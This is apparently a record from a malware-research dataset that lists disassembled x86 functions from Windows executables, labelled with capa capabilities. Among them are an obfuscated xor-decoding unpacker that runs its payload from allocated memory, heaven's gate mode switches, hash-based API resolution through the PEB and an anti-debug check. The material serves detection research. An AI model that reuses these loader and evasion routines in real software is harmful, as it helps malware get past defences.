joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451510
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x45175e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 8]
call fcn.0044fe34
xor eax, eax
push ebp
push 0x451734
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x44]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.004503e4
test al, al
je 0x451718
mov ecx, dword [ebp - 0x40]
inc ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.0040707c
mov eax, dword [ebp - 0x44]
dec eax
test eax, eax
jl 0x451718
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.004078d4
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegEnumValueW
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0044fd94
test al, al
je 0x45170c
mov eax, dword [ebp - 4]
call fcn.004078d4
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.00407934
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00450e28
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x45170c
xor eax, eax
push ebp
push 0x451705
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0xc]
call fcn.0044fe34
xor eax, eax
push ebp
push 0x4516e7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004078d4
mov edx, eax
lea eax, [ebp - 0x4c]
call fcn.00407934
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0044fe38
mov eax, dword [ebp - 4]
call fcn.004078d4
mov edx, eax
lea eax, [ebp - 0x50]
call fcn.00407934
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00450e28
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x4516c4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
call fcn.004513d8
pop ecx
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
call fcn.00451510
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4516cb
mov eax, dword [ebp - 0x24]
push eax
call sub.advapi32.dll_RegConnectRegistryW
ret
inc dword [ebp - 0x14]
dec dword [ebp - 0x28]
jne 0x45159b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45173b
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0x18]
call fcn.0044fe34
ret
Function at 0x457bc4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x457bca
ret

Function at 0x4634fc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4636b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x30], 0
jne 0x463695
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x38], 0
je 0x463695
mov eax, dword [ebp - 0xc]
add eax, 0x2c
push eax
mov eax, dword [ebp - 0xc]
add eax, 0x28
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x38]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax + 0x28]
add ebx, ebx
add ebx, ebx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x2c]
imul ebx
push eax
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x4634c8]
call fcn.00408afc
add esp, 4
lea eax, [ebp - 4]
call fcn.0040a0b4
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x38]
push eax
mov eax, dword [0x54bb30]
push eax
call fcn.0044cfa4
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 8]
call fcn.00408934
push eax
push ebx
push 0
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x1c]
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x2c
call fcn.00404c94
mov dword [ebp - 0x38], 0x2c
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x2c]
neg eax
mov dword [ebp - 0x30], eax
mov word [ebp - 0x2c], 1
mov word [ebp - 0x2a], 0x20
mov dl, 1
mov eax, dword [0x456504]
call fcn.0045fef0
mov ebx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x30], ebx
xor ecx, ecx
push ebp
push 0x463673
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov eax, ebx
mov dl, 7
call fcn.00461b04
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x2c]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax]
call dword [ebx + 0x6c]
push 0
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x2c]
push eax
push 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x30]
mov edx, dword [eax]
call dword [edx + 0x70]
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x30]
call fcn.00460810
call fcn.0045abc4
push eax
call sub.gdi32.dll_SetDIBits
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x30]
mov dl, 1
call fcn.00460b14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x463695
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4636c0
lea eax, [ebp - 8]
mov edx, dword [0x4634c8]
call fcn.00408b08
lea eax, [ebp - 4]
call fcn.0040a0b4
ret
Function at 0x4cb404
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4cb52c
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, word [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.004cb2f0
mov eax, dword [esi]
call fcn.00408934
add eax, 0x28
push eax
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x4168ec]
call fcn.00408afc
add esp, 4
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
mov ecx, 0x1c
call fcn.004045f0
mov ebx, 0x1c
mov eax, dword [ebp - 4]
lea edx, [eax + ebx]
lea eax, [ebp - 0x2c]
mov ecx, 0x1c
call fcn.004045f0
add ebx, 0x1c
mov eax, dword [esi]
call fcn.00408934
mov dword [ebp - 0xc], eax
mov eax, dword [0x54c1e8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x30]
lea edx, [ebp - 4]
mov ecx, ebx
call fcn.004b9f2c
add ebx, 4
mov eax, dword [ebp - 4]
add eax, ebx
xor ecx, ecx
mov edx, 3
call fcn.00404c94
add ebx, 3
mov eax, dword [ebp - 4]
mov byte [eax + ebx], 0x3a
inc ebx
mov eax, dword [esi]
mov byte [eax + 2], 0
mov eax, dword [esi]
mov byte [eax + 3], 0
push ebx
mov eax, dword [esi]
call fcn.00408934
push eax
lea ecx, [ebp - 4]
mov eax, dword [esi]
xor edx, edx
call fcn.004b9e1c
mov edx, dword [ebp - 4]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x94]
mov ebx, eax
mov eax, ebx
call fcn.004b9bd4
mov edx, esi
mov ecx, dword [ebp + 0x10]
call fcn.004b9f24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cb533
lea eax, [ebp - 4]
mov edx, dword [0x4168ec]
call fcn.00408b08
ret
Function at 0x535dbc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
test dl, dl
je 0x535dd4
add esp, 0xfffffff0
call fcn.004059d8
mov byte [ebp - 9], dl
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x535eee
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 8]
mov dword [eax + 8], ebx
mov eax, ebx
add eax, eax
add eax, eax
add eax, eax
call fcn.004043f0
mov edx, dword [ebp - 8]
mov dword [edx + 0xc], eax
dec ebx
test ebx, ebx
jl 0x535ed8
inc ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
call fcn.00530af4
xor eax, eax
push ebp
push 0x535ec5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
call fcn.00530af4
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
lea ebx, [eax + edx*8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov eax, dword [eax + 8]
mov dword [ebx], eax
lea eax, [ebx + 4]
mov edx, dword [ebp - 4]
call fcn.004079ac
jmp 0x535e96
lea eax, [ebx + 4]
mov ecx, 1
mov edx, 1
call fcn.00407cd8
mov eax, dword [ebx + 4]
call fcn.004073b8
dec eax
jle 0x535eaa
mov eax, dword [ebx + 4]
cmp word [eax], 0x5f
je 0x535e84
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x535ecc
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x54]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x535ef5
lea eax, [ebp - 4]
call fcn.00406f5c
ret
Function at 0x5373ec
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
xor eax, eax
push ebp
push 0x5374f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
call fcn.0040853c
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x5374d7
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp + 8]
cmp ebx, dword [eax - 0xc]
jge 0x5374c0
lea eax, [ebp - 0xc]
push eax
push ebx
mov eax, dword [esi]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
call fcn.00530af4
test byte [ebp - 0xc], 3
je 0x5374b3
lea eax, [ebp - 0x10]
push eax
push ebx
mov eax, dword [esi]
push eax
mov eax, dword [eax]
call dword [eax + 0x20]
call fcn.00530af4
lea eax, [ebp - 4]
call fcn.0040a0b4
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [eax]
call dword [eax + 0x38]
call fcn.00530af4
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 1
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x28]
mov edi, eax
cmp edi, 0x80020006
je 0x5374b3
mov eax, edi
call fcn.00530af4
lea edx, [ebp - 4]
mov eax, esi
call fcn.005373e4
mov byte [ebp - 5], 1
jmp 0x5374c0
inc ebx
mov eax, dword [ebp + 8]
cmp ebx, dword [eax - 0xc]
jl 0x537438
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5374de
mov eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_WriteFile
ret

Function at 0x538790
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov word [ebp - 0x10], 8
mov eax, edi
call fcn.0040853c
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x5387e0
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x10]
mov edx, esi
mov eax, ebx
call fcn.005386d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5387e7
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_WriteFile
ret

Function at 0x53d584
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, eax
push esp
push 0
push 0
push 0x1c
push 0
call sub.SHFolder.dll_SHGetFolderPathW
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00407970
add esp, 0x20c
pop ebx
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x403e59
pop dword [ebp - 0x28]
mov eax, 0x403e59
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x721ee90d
add dword [ebp - 0x38], 0xdc335c3e
mov dword [ebp - 0x34], 0xe4dcffc1
add dword [ebp - 0x34], 0x4d564c84
mov dword [ebp - 0x30], 0x2865c731
sub dword [ebp - 0x30], 0xdc198303
mov dword [ebp - 0x2c], 0x99542806
sub dword [ebp - 0x2c], 0x99542806
lea eax, [ebp - 0x38]
push eax
mov eax, 0xa530147d
sub eax, 0xa4ef93f1
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x3559c6e8
add dword [ebp - 0x38], 0x3f18a26e
mov dword [ebp - 0x34], 0xcfb520c8
sub dword [ebp - 0x34], 0x8e48bf53
mov dword [ebp - 0x30], 0x784d41c
add dword [ebp - 0x30], 0x5bea9850
mov dword [ebp - 0x2c], 0x54e8377a
sub dword [ebp - 0x2c], 0x54e8377a
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xfbe403f9
add eax, 0x45c7cdb
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3a23d
push 0
call eax
mov ecx, 0x91482a05
sub ecx, 0x9147d473
xor edx, edx
add edx, eax
mov esi, 0x411000
add esi, dword [ebp - 0x28]
mov ebx, 0x9cdfbfc7
sub ebx, 0x5d968762
mov dword [ebp - 0x10], 0xb9a1cf9e
mov edi, dword [esi]
add dword [ebp - 0x20], ecx
xor edi, ebx
xor dword [ebp - 0x20], ebx
mov dword [edx], edi
xor dword [ebp - 0x10], 0x3bd6ad6e
add edx, 4
add esi, 4
loop 0x403f72
add eax, 0xc083ca3
add eax, 0xf3f90c78
xor ebx, ebx
add ebx, eax
add eax, 0x15228c2d
sub eax, 0x15228c28
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x409e1d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x4b7710]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x409e58
add dword [esp], 5
retf

Function at 0x409f8a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x4b7710]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x409fc5
add dword [esp], 5
retf

Function at 0x40aaf6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x4b7710]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40ab31
add dword [esp], 5
retf

Function at 0x40ac27
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x4b7710]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40ac62
add dword [esp], 5
retf

Function at 0x40bed8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40bf04
add dword [esp], 5
retf
Function at 0x40c62c
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40c679
mov al, cl
cmp al, 0x61
jb 0x40c654
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40c679
mov al, cl
cmp al, 0x61
jb 0x40c66c
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40c645
cmp edx, dword [esp + 0x18]
je 0x40c689
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40c63e
xor eax, eax
jmp 0x40c68c
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40c694
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x40c77b
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x40c781
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40c6e0
cmp al, 0x61
jb 0x40c6d8
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40c6cb
cmp edx, dword [esp + 0x14]
je 0x40c6f0
dec ecx
jne 0x40c6c0
xor eax, eax
jmp 0x40c77b
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x40c77b
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x40c77b
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x40c72c
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40c73b
jmp 0x40c723
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.0040c62c
test eax, eax
je 0x40c77b
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40c776
cmp al, 0x61
jb 0x40c76e
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40c761
call fcn.0040c694
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x40c799
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x40c799
sub edx, ecx
mov ecx, edx
jmp 0x40c6f0
xor eax, eax
jmp 0x40c77b
Function at 0x415350
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4886db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047d38e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4153d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047b2a0
mov eax, dword [eax]
push 0x4a9ca8
push eax
call fcn.0046dfb4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047d619
test bl, bl
je 0x4153d2
push 0x4a9ca8
lea ecx, [esp + 0xc]
call fcn.0047d9a9
push 0x4a9cb4
lea ecx, [esp + 0xc]
call fcn.0047d9a9
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41540e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047d619
jmp 0x4154d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415492
lea edx, [esp + 0x7c]
push 0x4a9cb0
push edx
call fcn.0046dfb4
add esp, 8
test eax, eax
je 0x415492
lea eax, [esp + 0x7c]
push 0x4a9cac
push eax
call fcn.0046dfb4
add esp, 8
test eax, eax
je 0x415492
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415422
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047d619
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x415ce0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x415d42
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x415d50
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48875b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4b3660]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x415e88
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x415db6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047d619
xor eax, eax
jmp 0x415eff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0047d756
push esi
lea ecx, [esp + 0xc]
call fcn.0047d9e5
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x415edd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00415ce0
test eax, eax
jne 0x415edd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00415ce0
test eax, eax
jne 0x415edd
lea eax, [esp + 0x14]
push 0x4a9cc4
push eax
call fcn.0046f030
mov esi, eax
add esp, 8
test esi, esi
jne 0x415ebc
lea ecx, [esp + 0x14]
push 0x4a9cc0
push ecx
call fcn.0046efb0
mov esi, eax
add esp, 8
test esi, esi
jne 0x415ebc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x415ebf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047d706
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x415dce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047d619
xor eax, eax
jmp 0x415eff
mov byte [esi], 0
push 0x4a9cbc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0047d619
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4